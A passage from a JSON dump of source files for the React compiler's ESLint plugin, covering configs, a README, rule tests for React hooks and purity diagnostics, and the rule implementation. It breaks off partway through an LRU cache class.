    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"rootDir\": \"src\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"stripInternal\": true,\n    \"useUnknownInCatchVariables\": true,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"removeComments\": true,\n    \"declaration\": true,\n  },\n  \"exclude\": [\n    \"node_modules\",\n    \"src/__tests__/fixtures\"\n  ],\n  \"include\": [\n    \"src/**/*.ts\"\n  ],\n  \"ts-node\": {\n    \"transpileOnly\": true,\n    // these options are overrides used only by ts-node\n    // same as the --compilerOptions flag and the TS_NODE_COMPILER_OPTIONS environment variable\n    \"compilerOptions\": {\n      \"module\": \"NodeNext\",\n      \"moduleResolution\": \"NodeNext\",\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/index.ts'],\n  outDir: './dist',\n  external: ['@babel/types'],\n  splitting: false,\n  sourcemap: false,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'node',\n  target: 'es2015',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/README.md",
    "content": "# eslint-plugin-react-compiler\n\nESLint plugin surfacing problematic React code found by the React compiler.\n\n## Installation\n\nYou'll first need to install [ESLint](https://eslint.org/):\n\n```sh\nnpm i eslint --save-dev\n```\n\nNext, install `eslint-plugin-react-compiler`:\n\n```sh\nnpm install eslint-plugin-react-compiler --save-dev\n```\n\n## Usage\n\n### Flat config\n\nEdit your eslint 8+ config (for example `eslint.config.mjs`) with the recommended configuration:\n\n```diff\n+ import reactCompiler from \"eslint-plugin-react-compiler\"\nimport react from \"eslint-plugin-react\"\n\nexport default [\n    // Your existing config\n    { ...pluginReact.configs.flat.recommended, settings: { react: { version: \"detect\" } } },\n+   reactCompiler.configs.recommended    \n]\n```\n\n### Legacy config (`.eslintrc`)\n\nAdd `react-compiler` to the plugins section of your configuration file. You can omit the `eslint-plugin-` prefix:\n\n```json\n{\n    \"plugins\": [\n        \"react-compiler\"\n    ]\n}\n```\n\n\nThen configure the rules you want to use under the rules section.\n\n```json\n{\n    \"rules\": {\n        \"react-compiler/react-compiler\": \"error\"\n    }\n}\n```\n\n## Rules\n\n<!-- begin auto-generated rules list -->\nTODO: Run eslint-doc-generator to generate the rules list.\n<!-- end auto-generated rules list -->\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/ImpureFunctionCallsRule-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule(\n  'no impure function calls rule',\n  allRules[getRuleForCategory(ErrorCategory.Purity).name].rule,\n  {\n    valid: [],\n    invalid: [\n      {\n        name: 'Known impure function calls are caught',\n        code: normalizeIndent`\n      function Component() {\n        const date = Date.now();\n        const now = performance.now();\n        const rand = Math.random();\n        return <Foo date={date} now={now} rand={rand} />;\n      }\n    `,\n        errors: [\n          makeTestCaseError('Cannot call impure function during render'),\n          makeTestCaseError('Cannot call impure function during render'),\n          makeTestCaseError('Cannot call impure function during render'),\n        ],\n      },\n    ],\n  },\n);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/InvalidHooksRule-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {normalizeIndent, makeTestCaseError, testRule} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule(\n  'rules-of-hooks',\n  allRules[getRuleForCategory(ErrorCategory.Hooks).name].rule,\n  {\n    valid: [\n      {\n        name: 'Basic example',\n        code: normalizeIndent`\n        function Component() {\n          useHook();\n          return <div>Hello world</div>;\n        }\n      `,\n      },\n      {\n        name: 'Violation with Flow suppression',\n        code: `\n      // Valid since error already suppressed with flow.\n      function useHook() {\n        if (cond) {\n          // $FlowFixMe[react-rule-hook]\n          useConditionalHook();\n        }\n      }\n    `,\n      },\n      {\n        // OK because invariants are only meant for the compiler team's consumption\n        name: '[Invariant] Defined after use',\n        code: normalizeIndent`\n        function Component(props) {\n          let y = function () {\n            m(x);\n          };\n\n          let x = { a };\n          m(x);\n          return y;\n        }\n      `,\n      },\n      {\n        name: \"Classes don't throw\",\n        code: normalizeIndent`\n        class Foo {\n          #bar() {}\n        }\n      `,\n      },\n    ],\n    invalid: [\n      {\n        name: 'Simple violation',\n        code: normalizeIndent`\n      function useConditional() {\n        if (cond) {\n          useConditionalHook();\n        }\n      }\n    `,\n        errors: [\n          makeTestCaseError(\n            'Hooks must always be called in a consistent order',\n          ),\n        ],\n      },\n      {\n        name: 'Multiple diagnostics within the same function are surfaced',\n        code: normalizeIndent`\n        function useConditional() {\n          cond ?? useConditionalHook();\n          props.cond && useConditionalHook();\n          return <div>Hello world</div>;\n        }`,\n        errors: [\n          makeTestCaseError(\n            'Hooks must always be called in a consistent order',\n          ),\n          makeTestCaseError(\n            'Hooks must always be called in a consistent order',\n          ),\n        ],\n      },\n    ],\n  },\n);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/NoAmbiguousJsxRule-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule(\n  'no ambiguous JSX rule',\n  allRules[getRuleForCategory(ErrorCategory.ErrorBoundaries).name].rule,\n  {\n    valid: [],\n    invalid: [\n      {\n        name: 'JSX in try blocks are warned against',\n        code: normalizeIndent`\n      function Component(props) {\n        let el;\n        try {\n          el = <Child />;\n        } catch {\n          return null;\n        }\n        return el;\n      }\n    `,\n        errors: [makeTestCaseError('Avoid constructing JSX within try/catch')],\n      },\n    ],\n  },\n);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/NoCapitalizedCallsRule-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {normalizeIndent, makeTestCaseError, testRule} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule(\n  'no-capitalized-calls',\n  allRules[getRuleForCategory(ErrorCategory.CapitalizedCalls).name].rule,\n  {\n    valid: [],\n    invalid: [\n      {\n        name: 'Simple violation',\n        code: normalizeIndent`\n        import Child from './Child';\n        function Component() {\n          return <>\n            {Child()}\n          </>;\n        }\n      `,\n        errors: [\n          makeTestCaseError(\n            'Capitalized functions are reserved for components',\n          ),\n        ],\n      },\n      {\n        name: 'Method call violation',\n        code: normalizeIndent`\n        import myModule from './MyModule';\n        function Component() {\n          return <>\n            {myModule.Child()}\n          </>;\n        }\n      `,\n        errors: [\n          makeTestCaseError(\n            'Capitalized functions are reserved for components',\n          ),\n        ],\n      },\n      {\n        name: 'Multiple diagnostics within the same function are surfaced',\n        code: normalizeIndent`\n        import Child1 from './Child1';\n        import MyModule from './MyModule';\n        function Component() {\n          return <>\n            {Child1()}\n            {MyModule.Child2()}\n          </>;\n        }`,\n        errors: [\n          makeTestCaseError(\n            'Capitalized functions are reserved for components',\n          ),\n          makeTestCaseError(\n            'Capitalized functions are reserved for components',\n          ),\n        ],\n      },\n    ],\n  },\n);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/NoRefAccessInRender-tests.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {normalizeIndent, testRule, makeTestCaseError} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule(\n  'no ref access in render rule',\n  allRules[getRuleForCategory(ErrorCategory.Refs).name].rule,\n  {\n    valid: [],\n    invalid: [\n      {\n        name: 'validate against simple ref access in render',\n        code: normalizeIndent`\n      function Component(props) {\n        const ref = useRef(null);\n        const value = ref.current;\n        return value;\n      }\n    `,\n        errors: [makeTestCaseError('Cannot access refs during render')],\n      },\n    ],\n  },\n);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/PluginTest-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ErrorCategory,\n  getRuleForCategory,\n} from 'babel-plugin-react-compiler/src/CompilerError';\nimport {\n  normalizeIndent,\n  testRule,\n  makeTestCaseError,\n  TestRecommendedRules,\n} from './shared-utils';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\ntestRule('plugin-recommended', TestRecommendedRules, {\n  valid: [\n    {\n      name: 'Basic example with component syntax',\n      code: normalizeIndent`\n        export default component HelloWorld(\n          text: string = 'Hello!',\n          onClick: () => void,\n        ) {\n          return <div onClick={onClick}>{text}</div>;\n        }\n      `,\n    },\n\n    {\n      // OK because invariants are only meant for the compiler team's consumption\n      name: '[Invariant] Defined after use',\n      code: normalizeIndent`\n            function Component(props) {\n              let y = function () {\n                m(x);\n              };\n    \n              let x = { a };\n              m(x);\n              return y;\n            }\n          `,\n    },\n    {\n      name: \"Classes don't throw\",\n      code: normalizeIndent`\n            class Foo {\n              #bar() {}\n            }\n          `,\n    },\n  ],\n  invalid: [\n    {\n      name: 'Multiple diagnostic kinds from the same function are surfaced',\n      code: normalizeIndent`\n        import Child from './Child';\n        function Component() {\n          const result = cond ?? useConditionalHook();\n          return <>\n            {Child(result)}\n          </>;\n        }\n      `,\n      errors: [\n        makeTestCaseError('Hooks must always be called in a consistent order'),\n        makeTestCaseError('Capitalized functions are reserved for components'),\n      ],\n    },\n    {\n      name: 'Multiple diagnostics within the same file are surfaced',\n      code: normalizeIndent`\n        function useConditional1() {\n          'use memo';\n          return cond ?? useConditionalHook();\n        }\n        function useConditional2(props) {\n          'use memo';\n          return props.cond && useConditionalHook();\n        }`,\n      errors: [\n        makeTestCaseError('Hooks must always be called in a consistent order'),\n        makeTestCaseError('Hooks must always be called in a consistent order'),\n      ],\n    },\n    {\n      name: \"'use no forget' does not disable eslint rule\",\n      code: normalizeIndent`\n        let count = 0;\n        function Component() {\n          'use no forget';\n          return cond ?? useConditionalHook();\n\n        }\n      `,\n      errors: [\n        makeTestCaseError('Hooks must always be called in a consistent order'),\n      ],\n    },\n    {\n      name: 'Multiple non-fatal useMemo diagnostics are surfaced',\n      code: normalizeIndent`\n      import {useMemo, useState} from 'react';\n      \n      function Component({item, cond}) {\n        const [prevItem, setPrevItem] = useState(item);\n        const [state, setState] = useState(0);\n        \n        useMemo(() => {\n          if (cond) {\n            setPrevItem(item);\n            setState(0);\n          }\n        }, [cond, item, init]);\n            \n        return <Child x={state} />;\n        }`,\n      errors: [\n        makeTestCaseError('useMemo() callbacks must return a value'),\n        makeTestCaseError(\n          'Calling setState from useMemo may trigger an infinite loop',\n        ),\n        makeTestCaseError(\n          'Calling setState from useMemo may trigger an infinite loop',\n        ),\n        makeTestCaseError('Found extra memoization dependencies'),\n      ],\n    },\n  ],\n});\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/ReactCompilerRuleTypescript-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {RuleTester} from 'eslint';\nimport {\n  CompilerTestCases,\n  normalizeIndent,\n  TestRecommendedRules,\n} from './shared-utils';\n\nconst tests: CompilerTestCases = {\n  valid: [\n    {\n      name: 'Basic example',\n      filename: 'test.tsx',\n      code: normalizeIndent`\n        function Button(props) {\n          return null;\n        }\n      `,\n    },\n    {\n      name: 'Repro for hooks as normal values',\n      filename: 'test.tsx',\n      code: normalizeIndent`\n        function Button(props) {\n          const scrollview = React.useRef<ScrollView>(null);\n          return <Button thing={scrollview} />;\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      name: 'Mutating useState value',\n      filename: 'test.tsx',\n      code: `\n        import { useState } from 'react';\n        function Component(props) {\n          // typescript syntax that hermes-parser doesn't understand yet\n          const x: \\`foo\\${1}\\` = 'foo1';\n          const [state, setState] = useState({a: 0});\n          state.a = 1;\n          return <div>{props.foo}</div>;\n        }\n      `,\n      errors: [\n        {\n          message: /Modifying a value returned from 'useState\\(\\)'/,\n          line: 7,\n        },\n      ],\n    },\n  ],\n};\n\nconst eslintTester = new RuleTester({\n  // @ts-ignore[2353] - outdated types\n  parser: require.resolve('@typescript-eslint/parser'),\n});\neslintTester.run('react-compiler', TestRecommendedRules, tests);\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/__tests__/shared-utils.ts",
    "content": "import {RuleTester as ESLintTester, Rule} from 'eslint';\nimport {type ErrorCategory} from 'babel-plugin-react-compiler/src/CompilerError';\nimport escape from 'regexp.escape';\nimport {configs} from '../src/index';\nimport {allRules} from '../src/rules/ReactCompilerRule';\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n * @param {Array} strings array of code strings (only one expected)\n */\nexport function normalizeIndent(strings: TemplateStringsArray): string {\n  const codeLines = strings[0].split('\\n');\n  const leftPadding = codeLines[1].match(/\\s+/)![0];\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\nexport type CompilerTestCases = {\n  valid: ESLintTester.ValidTestCase[];\n  invalid: ESLintTester.InvalidTestCase[];\n};\n\nexport function makeTestCaseError(reason: string): ESLintTester.TestCaseError {\n  return {\n    message: new RegExp(escape(reason)),\n  };\n}\n\nexport function testRule(\n  name: string,\n  rule: Rule.RuleModule,\n  tests: {\n    valid: ESLintTester.ValidTestCase[];\n    invalid: ESLintTester.InvalidTestCase[];\n  },\n): void {\n  const eslintTester = new ESLintTester({\n    // @ts-ignore[2353] - outdated types\n    parser: require.resolve('hermes-eslint'),\n    parserOptions: {\n      ecmaVersion: 2015,\n      sourceType: 'module',\n      enableExperimentalComponentSyntax: true,\n    },\n  });\n\n  eslintTester.run(name, rule, tests);\n}\n\n/**\n * Aggregates all recommended rules from the plugin.\n */\nexport const TestRecommendedRules: Rule.RuleModule = {\n  meta: {\n    type: 'problem',\n    docs: {\n      description: 'Disallow capitalized function calls',\n      category: 'Possible Errors',\n      recommended: true,\n    },\n    // validation is done at runtime with zod\n    schema: [{type: 'object', additionalProperties: true}],\n  },\n  create(context) {\n    for (const ruleConfig of Object.values(\n      configs.recommended.plugins['react-compiler'].rules,\n    )) {\n      const listener = ruleConfig.rule.create(context);\n      if (Object.entries(listener).length !== 0) {\n        throw new Error('TODO: handle rules that return listeners to eslint');\n      }\n    }\n    return {};\n  },\n};\n\ntest('no test', () => {});\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/babel.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = {\n  presets: ['@babel/preset-env', '@babel/preset-typescript'],\n  plugins: [\n    ['@babel/plugin-transform-private-property-in-object', {loose: true}],\n    ['@babel/plugin-transform-class-properties', {loose: true}],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/package.json",
    "content": "{\n  \"name\": \"eslint-plugin-react-compiler\",\n  \"version\": \"0.0.0-experimental-9ed098e-20240725\",\n  \"description\": \"ESLint plugin to display errors found by the React compiler.\",\n  \"main\": \"dist/index.js\",\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"jest\",\n    \"watch\": \"yarn build --watch\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"dependencies\": {\n    \"@babel/core\": \"^7.24.4\",\n    \"@babel/parser\": \"^7.24.4\",\n    \"hermes-parser\": \"^0.25.1\",\n    \"zod\": \"^3.25.0 || ^4.0.0\",\n    \"zod-validation-error\": \"^3.5.0 || ^4.0.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/preset-env\": \"^7.22.4\",\n    \"@babel/preset-typescript\": \"^7.18.6\",\n    \"@babel/types\": \"^7.26.0\",\n    \"@types/eslint\": \"^8.56.12\",\n    \"@types/jest\": \"^30.0.0\",\n    \"@types/node\": \"^20.2.5\",\n    \"babel-jest\": \"^29.0.3\",\n    \"eslint\": \"8.57.0\",\n    \"hermes-eslint\": \"^0.25.1\",\n    \"jest\": \"^29.5.0\",\n    \"regexp.escape\": \"^2.0.1\"\n  },\n  \"engines\": {\n    \"node\": \"^14.17.0 || ^16.0.0 || >= 18.0.0\"\n  },\n  \"peerDependencies\": {\n    \"eslint\": \">=7\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/eslint-plugin-react-compiler\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {type Linter} from 'eslint';\nimport {\n  allRules,\n  mapErrorSeverityToESlint,\n  recommendedRules,\n} from './rules/ReactCompilerRule';\n\nconst meta = {\n  name: 'eslint-plugin-react-compiler',\n};\n\nconst configs = {\n  recommended: {\n    plugins: {\n      'react-compiler': {\n        rules: allRules,\n      },\n    },\n    rules: Object.fromEntries(\n      Object.entries(recommendedRules).map(([name, ruleConfig]) => {\n        return [\n          'react-compiler/' + name,\n          mapErrorSeverityToESlint(ruleConfig.severity),\n        ];\n      }),\n    ) as Record<string, Linter.StringSeverity>,\n  },\n};\n\nconst rules = Object.fromEntries(\n  Object.entries(allRules).map(([name, {rule}]) => [name, rule]),\n);\n\nexport {configs, rules, meta};\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/src/rules/ReactCompilerRule.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {SourceLocation as BabelSourceLocation} from '@babel/types';\nimport {\n  CompilerDiagnosticOptions,\n  CompilerErrorDetailOptions,\n  CompilerSuggestionOperation,\n} from 'babel-plugin-react-compiler/src';\nimport type {Linter, Rule} from 'eslint';\nimport runReactCompiler, {RunCacheEntry} from '../shared/RunReactCompiler';\nimport {\n  ErrorSeverity,\n  LintRulePreset,\n  LintRules,\n  type LintRule,\n} from 'babel-plugin-react-compiler/src/CompilerError';\n\nfunction assertExhaustive(_: never, errorMsg: string): never {\n  throw new Error(errorMsg);\n}\n\nfunction makeSuggestions(\n  detail: CompilerErrorDetailOptions | CompilerDiagnosticOptions,\n): Array<Rule.SuggestionReportDescriptor> {\n  const suggest: Array<Rule.SuggestionReportDescriptor> = [];\n  if (Array.isArray(detail.suggestions)) {\n    for (const suggestion of detail.suggestions) {\n      switch (suggestion.op) {\n        case CompilerSuggestionOperation.InsertBefore:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.insertTextBeforeRange(\n                suggestion.range,\n                suggestion.text,\n              );\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.InsertAfter:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.insertTextAfterRange(\n                suggestion.range,\n                suggestion.text,\n              );\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.Replace:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.replaceTextRange(suggestion.range, suggestion.text);\n            },\n          });\n          break;\n        case CompilerSuggestionOperation.Remove:\n          suggest.push({\n            desc: suggestion.description,\n            fix(fixer) {\n              return fixer.removeRange(suggestion.range);\n            },\n          });\n          break;\n        default:\n          assertExhaustive(suggestion, 'Unhandled suggestion operation');\n      }\n    }\n  }\n  return suggest;\n}\n\nfunction getReactCompilerResult(context: Rule.RuleContext): RunCacheEntry {\n  // Compat with older versions of eslint\n  const sourceCode = context.sourceCode ?? context.getSourceCode();\n  const filename = context.filename ?? context.getFilename();\n  const userOpts = context.options[0] ?? {};\n\n  const results = runReactCompiler({\n    sourceCode,\n    filename,\n    userOpts,\n  });\n\n  return results;\n}\n\nfunction hasFlowSuppression(\n  program: RunCacheEntry,\n  nodeLoc: BabelSourceLocation,\n  suppressions: Array<string>,\n): boolean {\n  for (const commentNode of program.flowSuppressions) {\n    if (\n      suppressions.includes(commentNode.code) &&\n      commentNode.line === nodeLoc.start.line - 1\n    ) {\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction makeRule(rule: LintRule): Rule.RuleModule {\n  const create = (context: Rule.RuleContext): Rule.RuleListener => {\n    const result = getReactCompilerResult(context);\n\n    for (const event of result.events) {\n      if (event.kind === 'CompileError') {\n        const detail = event.detail;\n        if (detail.category === rule.category) {\n          const loc = detail.primaryLocation();\n          if (loc == null || typeof loc === 'symbol') {\n            continue;\n          }\n          if (\n            hasFlowSuppression(result, loc, [\n              'react-rule-hook',\n              'react-rule-unsafe-ref',\n            ])\n          ) {\n            // If Flow already caught this error, we don't need to report it again.\n            continue;\n          }\n          /*\n           * TODO: if multiple rules report the same linter category,\n           * we should deduplicate them with a \"reported\" set\n           */\n          context.report({\n            message: detail.printErrorMessage(result.sourceCode, {\n              eslint: true,\n            }),\n            loc,\n            suggest: makeSuggestions(detail.options),\n          });\n        }\n      }\n    }\n    return {};\n  };\n\n  return {\n    meta: {\n      type: 'problem',\n      docs: {\n        description: rule.description,\n        recommended: rule.preset === LintRulePreset.Recommended,\n      },\n      fixable: 'code',\n      hasSuggestions: true,\n      // validation is done at runtime with zod\n      schema: [{type: 'object', additionalProperties: true}],\n    },\n    create,\n  };\n}\n\ntype RulesConfig = {\n  [name: string]: {rule: Rule.RuleModule; severity: ErrorSeverity};\n};\n\nexport const allRules: RulesConfig = LintRules.reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport const recommendedRules: RulesConfig = LintRules.filter(\n  rule => rule.preset === LintRulePreset.Recommended,\n).reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport const recommendedLatestRules: RulesConfig = LintRules.filter(\n  rule =>\n    rule.preset === LintRulePreset.Recommended ||\n    rule.preset === LintRulePreset.RecommendedLatest,\n).reduce((acc, rule) => {\n  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};\n  return acc;\n}, {} as RulesConfig);\n\nexport function mapErrorSeverityToESlint(\n  severity: ErrorSeverity,\n): Linter.StringSeverity {\n  switch (severity) {\n    case ErrorSeverity.Error: {\n      return 'error';\n    }\n    case ErrorSeverity.Warning: {\n      return 'warn';\n    }\n    case ErrorSeverity.Hint:\n    case ErrorSeverity.Off: {\n      return 'off';\n    }\n    default: {\n      assertExhaustive(severity, `Unhandled severity: ${severity}`);\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/src/shared/RunReactCompiler.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {transformFromAstSync} from '@babel/core';\nimport {parse as babelParse} from '@babel/parser';\nimport {File} from '@babel/types';\nimport BabelPluginReactCompiler, {\n  parsePluginOptions,\n  validateEnvironmentConfig,\n  type PluginOptions,\n} from 'babel-plugin-react-compiler/src';\nimport {Logger, LoggerEvent} from 'babel-plugin-react-compiler/src/Entrypoint';\nimport type {SourceCode} from 'eslint';\n// @ts-expect-error: no types available\nimport * as HermesParser from 'hermes-parser';\nimport {isDeepStrictEqual} from 'util';\nimport type {ParseResult} from '@babel/parser';\n\nconst COMPILER_OPTIONS: PluginOptions = {\n  outputMode: 'lint',\n  panicThreshold: 'none',\n  // Don't emit errors on Flow suppressions--Flow already gave a signal\n  flowSuppressions: false,\n  environment: validateEnvironmentConfig({\n    validateRefAccessDuringRender: true,\n    validateNoSetStateInRender: true,\n    validateNoSetStateInEffects: true,\n    validateNoJSXInTryStatements: true,\n    validateNoImpureFunctionsInRender: true,\n    validateStaticComponents: true,\n    validateNoFreezingKnownMutableFunctions: true,\n    validateNoVoidUseMemo: true,\n    // TODO: remove, this should be in the type system\n    validateNoCapitalizedCalls: [],\n    validateHooksUsage: true,\n    validateNoDerivedComputationsInEffects: true,\n  }),\n};\n\nexport type RunCacheEntry = {\n  sourceCode: string;\n  filename: string;\n  userOpts: PluginOptions;\n  flowSuppressions: Array<{line: number; code: string}>;\n  events: Array<LoggerEvent>;\n};\n\ntype RunParams = {\n  sourceCode: SourceCode;\n  filename: string;\n  userOpts: PluginOptions;\n};\nconst FLOW_SUPPRESSION_REGEX = /\\$FlowFixMe\\[([^\\]]*)\\]/g;\n\nfunction getFlowSuppressions(\n  sourceCode: SourceCode,\n): Array<{line: number; code: string}> {\n  const comments = sourceCode.getAllComments();\n  const results: Array<{line: number; code: string}> = [];\n\n  for (const commentNode of comments) {\n    const matches = commentNode.value.matchAll(FLOW_SUPPRESSION_REGEX);\n    for (const match of matches) {\n      if (match.index != null && commentNode.loc != null) {\n        const code = match[1];\n        results.push({\n          line: commentNode.loc!.end.line,\n          code,\n        });\n      }\n    }\n  }\n  return results;\n}\n\nfunction runReactCompilerImpl({\n  sourceCode,\n  filename,\n  userOpts,\n}: RunParams): RunCacheEntry {\n  // Compat with older versions of eslint\n  const options: PluginOptions = parsePluginOptions({\n    ...COMPILER_OPTIONS,\n    ...userOpts,\n    environment: {\n      ...COMPILER_OPTIONS.environment,\n      ...userOpts.environment,\n    },\n  });\n  const results: RunCacheEntry = {\n    sourceCode: sourceCode.text,\n    filename,\n    userOpts,\n    flowSuppressions: [],\n    events: [],\n  };\n  const userLogger: Logger | null = options.logger;\n  options.logger = {\n    logEvent: (eventFilename, event): void => {\n      userLogger?.logEvent(eventFilename, event);\n      results.events.push(event);\n    },\n  };\n\n  try {\n    options.environment = validateEnvironmentConfig(options.environment ?? {});\n  } catch (err: unknown) {\n    options.logger?.logEvent(filename, err as LoggerEvent);\n  }\n\n  let babelAST: ParseResult<File> | null = null;\n  if (filename.endsWith('.tsx') || filename.endsWith('.ts')) {\n    try {\n      babelAST = babelParse(sourceCode.text, {\n        sourceFilename: filename,\n        sourceType: 'unambiguous',\n        plugins: ['typescript', 'jsx'],\n      });\n    } catch {\n      /* empty */\n    }\n  } else {\n    try {\n      babelAST = HermesParser.parse(sourceCode.text, {\n        babel: true,\n        enableExperimentalComponentSyntax: true,\n        sourceFilename: filename,\n        sourceType: 'module',\n      });\n    } catch {\n      /* empty */\n    }\n  }\n\n  if (babelAST != null) {\n    results.flowSuppressions = getFlowSuppressions(sourceCode);\n    try {\n      transformFromAstSync(babelAST, sourceCode.text, {\n        filename,\n        highlightCode: false,\n        retainLines: true,\n        plugins: [[BabelPluginReactCompiler, options]],\n        sourceType: 'module',\n        configFile: false,\n        babelrc: false,\n      });\n    } catch (err) {\n      /* errors handled by injected logger */\n    }\n  }\n\n  return results;\n}\n\nconst SENTINEL = Symbol();\n\n// Array backed LRU cache -- should be small < 10 elements\nclass LRUCache<K, T> {\n  // newest at headIdx, then headIdx + 1, ..., tailIdx\n  #values: Array<[K, T | Error] | [typeof SENTINEL, void]>;\n  #headIdx: number = 0;\n\n  constructor(size: number) {\n    this.#values = new Array(size).fill(SENTINEL);\n  }\n\n  // gets a value and sets it as \"recently used\"\n  get(key: K): T | null {\n    let idx = this.#values.findIndex(entry => entry[0] === key);\n    // If found, move to front\n    if (idx === this.#headIdx) {\n      return this.#values[this.#headIdx][1] as T;\n    } else if (idx < 0) {\n      return null;\n    }\n\n    const entry: [K, T] = this.#values[idx] as [K, T];\n\n    const len = this.#values.length;\n    for (let i = 0; i < Math.min(idx, len - 1); i++) {\n      